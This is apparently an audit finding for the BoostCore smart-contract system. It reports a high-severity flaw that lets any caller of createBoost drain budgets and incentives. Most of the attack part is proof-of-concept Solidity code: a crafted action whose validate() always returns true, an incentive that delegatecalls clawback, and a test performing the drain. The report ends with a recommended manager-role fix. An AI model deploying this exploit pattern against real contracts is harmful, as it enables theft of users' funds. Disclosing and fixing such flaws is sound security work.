Brilliant Holographic Buffalo
High
HIGH-02 - Any user that has access to createBoost can drain funds from any budget or any incentives.
Any user authorized to call BoostCore::createBoost()
can create a crafted boost
that allows him to drain funds from budgets and incentives through BoostCore::claimIncentivesFor()
.
No response
No response
No response
No response
If a boost is created with an action that inherits AValidator
and can make validate()
to return always
true bypassing this line.
Then on the following line,the claim()
can call a crafted function deployed as an incentive that delegatescall
to other contracts. As msg.sender
will remain as BoostCore
, all incentives methods under onlyOwner
are able to be called. Specifically, calling clawback()
will allow someone to drain any incentives funds. Also budgets,
can be drain as long as BoostCore
is allowed to call budget.disburse()
or budget.clawback()
.
In the following example, a crafted incentive called ExploitIncentive
is deployed
with the following logic in claim()
:
/// @notice Claim the incentive
/// @param claimTarget the address receiving the claim
/// @return True if the incentive was successfully claimed
function claim(address claimTarget, bytes calldata _data) external override onlyOwner returns (bool) {
bytes memory encodedFunctionCall = abi.encodeWithSignature("clawback(bytes)", _data);
claimTarget.delegatecall(encodedFunctionCall);
return true;
}
Also, a crafted action is deployed called ExploitAction
bypassing validate()
:
contract ExploitAction is AContractAction, AValidator {
/// @inheritdoc ACloneable
/// @notice Initialize the contract with the owner and the required data
function initialize(bytes calldata data_) public virtual override initializer {
_initialize(abi.decode(data_, (InitPayload)));
}
function _initialize(InitPayload memory init_) internal virtual onlyInitializing {
chainId = init_.chainId;
target = init_.target;
selector = init_.selector;
value = init_.value;
}
/// @inheritdoc AContractAction
function getComponentInterface() public pure virtual override(AContractAction, AValidator) returns (bytes4) {
return type(AERC721MintAction).interfaceId;
}
/// @inheritdoc AContractAction
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AContractAction, AValidator)
returns (bool)
{
return interfaceId == type(AERC721MintAction).interfaceId || super.supportsInterface(interfaceId);
}
function validate(uint256, /*unused*/ uint256, /* unused */ address, /*unused*/ bytes calldata data_)
external
virtual
override
returns (bool success)
{
return true;
}
}
Finally, crafted boost
is deployed to drain incentives.
function testCreateBoost_ExploitIncentives() public {
BoostLib.Boost memory boost1 = boostCore.createBoost(validCreateCalldata);
BoostLib.Target[] memory incentives = new BoostLib.Target[](1);
incentives[0] = BoostLib.Target({
isBase: true,
instance: address(new ExploitIncentive()),
parameters: abi.encode(
ERC20Incentive.InitPayload({
asset: address(mockERC20),
strategy: AERC20Incentive.Strategy.POOL,
reward: 1 ether,
limit: 100
})
)
});
mockERC20.mint(address(this), 100 ether);
mockERC20.approve(address(budget), 100 ether);
budget.allocate(
abi.encode(
ABudget.Transfer({
assetType: ABudget.AssetType.ERC20,
asset: address(mockERC20),
target: address(this),
data: abi.encode(ABudget.FungiblePayload({amount: 100 ether}))
})
)
);
bytes memory createData = LibZip.cdCompress(
abi.encode(
BoostCore.InitPayload({
budget: budget,
action: BoostLib.Target({
isBase: true,
instance: address(new ExploitAction()),
parameters: abi.encode(
AContractAction.InitPayload({chainId: block.chainid, target: address(0), selector: "", value: 0})
)
}),
validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
allowList: allowList,
incentives: incentives,
protocolFee: 500, // 5%
referralFee: 1000, // 10%
maxParticipants: 10_000,
owner: address(1)
})
)
);
BoostLib.Boost memory boost2 = boostCore.createBoost(createData);
bytes memory payload =
abi.encode(AIncentive.ClawbackPayload({target: address(2), data: abi.encode(50 ether)}));
// @audit - Take a look here we use our crafted boost2 to drain boost1.incentives[0]
// but this could be repeated for budgets as long as BoostCore can call the methods.
boostCore.claimIncentiveFor{value: 0.000075 ether}(1, 0, address(0), payload , address(boost1.incentives[0]));
}
Consider restricting access to incentives.clawback()
, budget.clawback()
and budget.disburse()
from BoostCore
calls and implement a manager role that is allowed to execute those functions.
Budget implements accessControls
for a manager role, but incentives
do not, they are only callable by onlyOwner
which is BoostCore
due to initialization.
Consider adding a manager role for incentives
that can execute those functions.